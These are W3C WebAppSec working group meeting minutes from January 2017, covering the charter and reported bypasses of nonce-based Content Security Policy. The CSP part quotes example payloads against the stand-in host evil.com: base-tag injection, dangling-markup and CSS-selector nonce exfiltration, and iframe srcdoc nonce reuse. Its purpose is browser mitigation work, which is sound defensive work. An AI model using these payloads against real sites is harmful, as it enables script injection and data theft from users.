See also: IRC log
<bhill2> oh, crap. I am on an airplane.
<mkwst> ...
<dveditz> (dialing)
<wseltzer> Agenda: https://lists.w3.org/Archives/Public/public-webappsec/2017Jan/0020.html
<inserted> scribenick: mkwst
dveditz: Anything to add to the agenda?
everyone: <crickets>
wseltzer: The current charter extended without change through March,
<wseltzer> https://rawgit.com/w3c/webappsec/master/admin/webappsec-charter-2017.html
wseltzer: proposed draft charter
at
https://rawgit.com/w3c/webappsec/master/admin/webappsec-charter-2017.html.
... Reviewing that internally, then sending it out to the AC
for a wider review.
... During that period, please ask your AC rep to indicate
support.
<freddyb> ah, now.
wseltzer: If you or your AC rep won't support the charter, please let us know before we propose it. :)
dveditz: We've chatted about this
multiple times, I hope we'll be good to go.
... If there's something horrible you came up with over the
holiday, do let us know.
wseltzer: Sometimes WG and AC
members aren't on the same page; if you have a chance to check
with your rep, that'd be helpful.
... I'll let you know when it's out for review.
<dveditz> scribenick mkwst
ArturJanc: Recent reports of
bypasses for nonce-based policies. I'll go through a few
details, then mkwst might want to fill in some blanks with
Chrome-specific details.
... Context: A few weeks ago, folks on Twitter chatted a bit
about bypassing nonce-based CSP.
... Google uses nonces.
dveditz: It's the heart of `strict-dynamic`, right?
ArturJanc: Right. But the attacks
we're looking at right now are attacks on nonces, not on
`strict-dynamic`.
... Two broad categories of attacks
... 1. Injection of `<base>` tags.
... Alters the meaning of relative URLs, which means that
nonced `<script>` elements can point to `evil.com` if a
malicious `<base>` element is injected.
... e.g. `<script nonce=abc src=/good.js>` turns into
`<script nonce=abc src=https://evil.com/good.js>` in
the presence of `<base href="https://evil.com/">`.
... Problem for nonce-based policies, not a problem for hashes
or policies that list acceptable hosts.
... Should probably note this in the spec. Many folks that use
nonces don't set a `base-uri` directive. They probably
should.
... 2. SVG attribute modification via <set> and/or
<animate>.
... (Chrome-specific issue)
... Attacker injects `<svg>...<set ...>` into the
page.
... It turns any following `<script>` elements into
SVGScriptElement rather than HTMLScriptElement.
... The `<set>` element alters the script's `href`
attribute.
... Which leads to script execution.
<dveditz> interesting... thought svg animation could only affect CSS properties
ArturJanc: Mike fixed that in Chrome.
<dveditz> mkwst: "freddy from Opera fixed this in blink"
mkwst: Right. This is a bug in Chrome, not a bug in SVG. We didn't follow the spec, Frederik from Opera fixed our implementation.
ArturJanc: SVG seems fixed, but
it points to an interesting category of attack that we should
probably look into.
... 3. Steal the nonce, use it later.
... 3a. Steal the nonce.
... We operate with a model in which there is an
injection:
... So, an attacker can inject CSS with attribute selectors to
match the nonce value in better-than-brute-force time.
... [nonce^=a], etc.
... Or the attacker can inject dangling markup
(`<textarea>`, `<img src='https://evil.com?whatever=`,
etc) that causes exfiltration.
<dveditz> better-than-brute-force? I'll have to re-read sidarkcat's writeup
ArturJanc: 3b. Once the nonce is
exfiltrated, it might be possible to reuse it, based on the
application's structure.
... If the application listens for a message, and dumps it to
`innerHTML`, the attacker can inject properly nonced
code.
... `<iframe srcdoc="<script
nonce='{$nonce}'>evil!</script>">`
... Similarly, URL fragments are sometimes reflected (routing,
etc).
... A few other similar mechanisms.
... You can run a similar kind of attack based on the
cachability of a document.
... Load the page, use the first payload to exfiltrate nonces,
then `.back()`, then `.forward()`, etc.
... If the injection doesn't depend on the URL, this is
exploitable.
... 1. Perhaps we can prevent the nonce from being
stolen?
... 2. Perhaps we can prevent the nonce from being reused,
if/when stolen.
<dveditz> scribenick: dveditz
mkwst: any questions based on ArturJanc's explanations?
<mkwst> dveditz: Artur, you mentioned two ways to steal the nonce. CSS and dangling markup.
<mkwst> ... Is there another I missed?
<mkwst> ArturJanc: Dangling markup is a pretty big category.
<mkwst> ... `<style>div { background: url('https://evil.com/?whatever=`
<mkwst> ... And other variants.
mkwst: we're doing acouple of
experiments to see if they change behavior and fix this
... first is to see if we can hide the nonce from the DOM that
makes this harder to do
... f.e. move the nonce from an HTML attribute to an internal
attribute of the script.
... the author writes the nonce attribute, but the parser moves
the attribute so it's not available to the document.
... can still get the nonce through the nonce IDL, foo.nonce,
so scripts can pass them along to new scripts
... we belive that if you have script execution you can do
anything anyway
... Also looking to mitigate dangling markup. Will be difficult
to completely address this, but some forms may be easy to
squash
... added some experiments to chrome, 1) examine contents of
URL vs base URL. If it contains a newline AND an opening brace
then we'll treat that as a parse error rather than
%-escaping.
... change to URL parser--treat newlines as an error.
... second experiment is on forms. Two types of elements that
eat stuff -- textarea and select. If they're closed by EOF
rather than an actual closing tag we'll fire an error rather
than submit
... We think these will prevent a couple of forms of direct
exfiltration
... That was exfiltration. on to reuse
... generally the reuse implies a DOM api to inject script into
page (e.g. <iframe srcdoc artur mentioned earlier)
... we want a parser-inserted script to work if delivered by a
page, but suspicious of ones injected by script (as parser
inserted)
... thinking of adding a new script-src keyword that means
"even more strict about parser inserted"
... Is the parser kicked off by script? (document.write,
innerHTML, etc) tag scripts and probably iframes if created
that way
... check that flag when doing execution. If this new keyword
is set then these scripts would not execute
... Prevents nonce re-use, but might be a useful hardening
approach in general as well
... We were able to do this because this concept (parser
inserted) already existed in the HTML spec, but it's not
flagged for later use. that's new
... we'll need to define this new concept in HTML and hope it
fits as well with other browser's implementations
... We hope this deflects both the recently discussed attacks
and prevents future ones
... as mentioned, playing with experimental implementations to
see how hard this is and whether it works and will bring
feedback to the group
dveditz: could we propose certain attributes (nonce, integrity) as unavailable for CSS selector matching?
mkwst: we discussed that but
seems super icky. requires reaching into CSS to fix a problem
that has nothing to do with CSS
... XHR/fetch has the concept of "sec-*" headers that are
untouchable... could do something like that
... Artur and I will put docs together and bring them back to
the group
ArturJanc: we found 5 or so
different types of exfiltration
... same-origin XSLT was one, but to pull this off you already
need the equivalent of script execution. more academic
interest
<ArturJanc> https://sirdarckcat.github.io/csp/attlist.xml
<inserted> scribenick: mkwst
dveditz: Few minutes left.
dveditz: Request for review of IDB.
<dveditz> https://lists.w3.org/Archives/Public/public-webappsec/2017Jan/0008.html
dveditz: Implemented in many
browsers, hopefully their security teams did review.
... We haven't done much formal review.
wseltzer: I'll note that the W3C
just recharted the Web Security IG.
... That's another place that reviews can happen.
... After recharter, they seem interested in taking on more of
this kind of work.
... Also looking at taking up the security questionnaire.
... So, I'd invite y'all to join that group for reviews.
<wseltzer> Web Security IG: public-web-security@w3.org
<dveditz> https://lists.w3.org/Archives/Public/public-webappsec/2017Jan/0000.html
dveditz: They'd like folks to
look at this proposal to allow multiple scopes for a web
manifest file.
... That's the end of the agenda.
... Any questions? Proposals for next time?
... When _is_ next time, actually?
... Third Wednesday of the month.
<freddyb> Feb 15th?
dveditz: February 15th.
<dveditz> Feb 15, 2017 -- 3rd wednesday
dveditz: It's on my calendar, which I got from somewhere. So hopefully it's on the W3C WebAppSec calendar that's on the group's homepage.
<freddyb> calendar is embedded at the very top of https://www.w3.org/2011/webappsec/
<dveditz> thx freddyb
wseltzer: Referrer Policy is
moving to CR tomorrow!
... Also, WebCrypto to REC tomorrow!
... Huzzah!
... Also, I'll make sure WebEx works.
everyone: Bye!
<fin>
<jochen___> yay, referrer policy, indeed :)
<wseltzer> s/ I am on an airplane.//
This is scribe.perl Revision: 1.148 of Date: 2016/10/11 12:55:14 Check for newer version at http://dev.w3.org/cvsweb/~checkout~/2002/scribe/ Guessing input format: RRSAgent_Text_Format (score 1.00) Succeeded: i/Anything to add/scribenick: mkwst Succeeded: i/Few minutes left./scribenick: mkwst FAILED: s/oh, crap. I am on an airplane.// Succeeded: s/Dan?// Succeeded: s/almost there// Succeeded: s/:(// Succeeded: s/oh, crap.// Found ScribeNick: mkwst Found ScribeNick: dveditz Found ScribeNick: mkwst Inferring Scribes: mkwst, dveditz Scribes: mkwst, dveditz ScribeNicks: mkwst, dveditz Present: wseltzer ArturJanc freddyb mkwst gmaone dveditz ckerschb__ terri Regrets: bhill2 WARNING: No meeting title found! You should specify the meeting title like this: <dbooth> Meeting: Weekly Baking Club Meeting Agenda: https://lists.w3.org/Archives/Public/public-webappsec/2017Jan/0020.html Got date from IRC log name: 25 Jan 2017 Guessing minutes URL: http://www.w3.org/2017/01/25-webappsec-minutes.html People with action items:[End of scribe.perl diagnostic output]